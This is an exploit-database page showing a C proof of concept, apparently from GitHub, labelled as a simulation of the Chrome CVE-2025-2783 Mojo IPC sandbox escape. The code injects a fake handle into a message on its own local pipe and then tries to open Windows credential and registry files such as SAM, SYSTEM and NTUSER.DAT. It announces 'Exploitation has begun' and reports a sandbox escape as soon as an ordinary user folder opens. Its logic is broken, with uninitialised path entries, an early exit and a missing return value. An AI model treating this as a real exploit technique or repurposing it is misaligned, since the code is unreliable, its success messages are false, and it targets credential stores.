Exploit database

GH-1471f525608783a783fc3c61e505a7cf

bytereaper77/cve-2025-2783

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-2783

6 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
bytereaper77/cve-2025-2783Revision 9d2f21622484

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

SandBoxEscapeSim.c

C · 7,718 bytes
/*
 * Filename     : SandBoxEscapeSim.c
 * Author       : Byte Reaper
 * Telegram     : @ByteReaper0
 *
 * Description  :
 *   CVE-2025-2783 - Educational SandBox Escape Simulation for Chrome:
 *
 *   This project is a **research-oriented** and **educational simulation**
 *   designed to demonstrate the **concept** of a sandbox escape vulnerability
 *   within Google Chrome (version 134.0.6998.177), leveraging improper handle
 *   validation via Mojo IPC.
 *
 *   The goal is to illustrate how malicious input (i.e., a fake Mojo handle)
 *   could potentially subvert IPC messaging boundaries and trigger privileged
 *   operations — like reading files outside the allowed sandbox.
 *
 *   This is **not a working exploit**, but a **controlled simulation** to
 *   help researchers, students, and security professionals understand how such
 *   attacks are structured and tested.
 *
 * Features:
 *     1) Simulates creation of a Mojo message pipe using Chrome's Mojo IPC API.
 *     2) Injects a user-supplied fake handle into a message using `MojoAppendMessageData`.
 *     3) Attempts to send the message to trigger a simulated breakout.
 *     4) Tries to access sensitive system paths (e.g., SAM, SYSTEM, Documents) as a sandbox escape test.
 *
 *   Core Concepts Simulated:
 *     • Mojo Message Pipe and MessageHandle API usage
 *     • Handle spoofing via fake 32-bit values (e.g., 0xFFFFFFFF)
 *     • Sandboxed vs. Non-sandboxed file system access
 *
 * Usage:
 *     gcc SandBoxEscapeSim.c argparse.c -o SandBoxEs
 *
 *     Run the simulation:
 *         ./SandBoxEs -h 0xFFFFFFFF
 *
 *     Options:
 *         -h, --handle     Specify fake 32-bit handle (e.g., 0xDEADBEEF)
 *
 * Output:
 *     • Shows whether the message was accepted
 *     • Attempts to read restricted Windows system files
 *     • Determines if sandbox escape was "simulated" successfully
 *
 * Notes:
 *     – This code does not exploit any live vulnerability.
 *     – It simply demonstrates the flow and logic that a real Chrome sandbox
 *       escape might involve.
 *     – All sensitive actions are simulated for educational purposes.
 *
 * Warning:
 *     – This project is for **educational and research** purposes only.
 *     – Running this against production environments is **strictly forbidden**.
 *     – Always test in a **controlled lab** or sandbox VM.
 *
 * Dependencies:
 *     – Mojo C headers (Chromium IPC)
 *     – Windows API (for environment info)
 *     – argparse.h (for CLI parsing)
 *
 */
#include <stdio.h>
#include <mojo/public/c/system/functions.h>
#include <mojo/public/c/system/types.h>
#include <mojo/public/c/system/message_pipe.h>
#include "argparse.h"
#include <windows.h>
#include <lmcons.h>
#include <stdlib.h>
#include <string.h>
#define MAX 300
#define NAME_PATHS 13
#define PATH_LEN MAX
#define USER 40

// Check Your System (Windows)
void checkRunSystem()
{
	//windows 64 bit 
#ifdef _WIN64
	printf("[+] Check your System Windows For exploit google Chrome ...\n");
    	printf("[+] Your System : Windows 64 bit\n");
    	printf("[+] Exploitation has begun ...\n");
    	printf("----------------------------------------------------------------\n");
	//windows 32 bit 
#elif defined(_WIN32)
	printf("[+] Check your System Windows For exploit google Chrome ...\n");
    	printf("[+] Your System : Windows 32 bit\n");
    	printf("[+] Exploitation has begun ...\n");
    	printf("----------------------------------------------------------------\n");
	// Not Windows System
#else
	printf("[-] Your System Not Windows (64 / 32 bits), Exit ...\n");
	exit(1);
#endif
}

//Read File System For check SandBox Escape 
int readFile(const char* user)
{
	char p[NAME_PATHS][PATH_LEN];
	int i = 0;
	snprintf(p[i++],
		PATH_LEN,
		"C:\\Users\\%s\\Documents",
		user);
	snprintf(p[i++],
		PATH_LEN,
		"C:\\Users\\%s\\Desktop",
		user);
	snprintf(p[i++],
		PATH_LEN,
		"C:\\Users\\%s\\Downloads",
		user);
	snprintf(p[i++],
		PATH_LEN,
		"C:\\Windows\\System32\\config\\SAM");
	snprintf(p[i++],
		PATH_LEN,
		"C:\\Windows\\System32\\config\\SYSTEM");
	snprintf(p[i++],
		PATH_LEN,
		"C:\\Windows\\System32\\drivers\\etc\\hosts");
	snprintf(p[i++],
		PATH_LEN,
		"C:\\Users\\Public\\Documents");
	snprintf(p[i++],
		PATH_LEN,
		"C:\\Windows\\System32\\winevt\\Logs\\Security.evtx");
	snprintf(p[i++],
		PATH_LEN,
		"C:\\Users\\%s\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
		user);
	snprintf(p[i++],
		PATH_LEN,
		"C:\\Users\\%s\\NTUSER.DAT",
		user);
	snprintf(p[i++],
		PATH_LEN,
		"C:\\Windows\\System32\\winevt\\Logs");

	int numberFile = NAME_PATHS;

	for (int loopFile = 0; loopFile < numberFile; loopFile++)
	{
		if (p[loopFile][0] == '\0')
		{
			continue;
		}
		FILE* file = fopen(p[loopFile], "rb");

		if (file)
		{
			printf("[+] Content File: %s\n",
				p[loopFile]);
			fclose(file);
			return 0;
		}
		else
		{

			perror("[-] Access Denied Read File Target System");
			exit(1);
			return 1;
		}
	}
}
//Get Username OS  For check SandBox Escape 
char* getUser()
{
	static char username[UNLEN + 1];
	DWORD userLen = UNLEN + 1;
	if (GetUserNameA(username, &userLen))
	{
		printf("[+] User Target Machine : %s\n",
			username);

	}
	else
	{
		printf("[-] Error Get User Target Pc : %lu\n",
			GetLastError());
		exit(1);
	}
	return username;
}

int main(int argc, const char** argv)
{
	const char* hanDle = NULL;
	const char* user = getUser();
	checkRunSystem();

	struct argparse_option option[] =
	{
		OPT_HELP(),
		OPT_STRING('h',
			"handle",
			&hanDle,
			"Enter Fake Handle"),
		OPT_END(),
	};
	struct argparse argparse;
	argparse_init(&argparse,
		option,
		NULL,
		0);
	argparse_parse(&argparse,
		argc,
		(const char**)argv);

	if (!hanDle)
	{
		printf("[-] Please Enter Fake Handle (-h / --handle)\n");
		printf("[+] Exemple : ./cve -h {Fake Handle}\n");
		exit(1);
	}

	struct MojoAppendMessageDataOptions opt = 
	{
		sizeof(opt),
		MOJO_APPEND_MESSAGE_DATA_FLAG_NONE
	};
	// Message  Send to browser 
	const char* message = "Hello Browser";
	MojoHandle a, b;
	MojoResult result = MojoCreateMessagePipe(NULL,
		&a,
		&b);
	if (result != MOJO_RESULT_OK)
	{
		printf("[-] Error Create Pips\n");
		exit(1);
	}

	MojoHandle fakeHandle = (MojoHandle)strtoul(hanDle,
		NULL,
		16);
	MojoMessageHandle mesH;
	void* buffer;
	uint32_t buffer_size = 0;

	// 1. Create message
	MojoResult msg_create_result = MojoCreateMessage(NULL,
		&mesH);
	if (msg_create_result != MOJO_RESULT_OK)
	{
		printf("[-] Error Create MOJO Message !\n");
		exit(1);
	}

	// 2. Append data and fake handle
	MojoHandle handles[1] = { fakeHandle };
	MojoResult append = MojoAppendMessageData(mesH,
		strlen(message),
		handles,
		1,
		&opt,
		&buffer,
		&buffer_size);
	if (append != MOJO_RESULT_OK)
	{
		printf("[-] Error Append Message Data\n");
		exit(1);
	}
	memcpy(buffer, message, strlen(message));

	// 3. Write the message to the pipe
	MojoResult write_result = MojoWriteMessage(a,
		mesH,
		MOJO_WRITE_MESSAGE_FLAG_NONE);
	if (write_result != MOJO_RESULT_OK)
	{
		printf("[-] Error Writing Message to Pipe\n");
		exit(1);
	}

	printf("[+] Handle And Message Sent Successfully!\n");
	printf("[+] Start Check SandBox Escape Success ...\n");
	printf("[+] Trying to read system files\n");

	int statRead = readFile(user);
	if (statRead == 0)
	{
		printf("[+] SandBox Escape Success!\n");
	}
	else
	{
		printf("[-] Error Reading File on Target\n");
		exit(1);
	}

	return 0;
}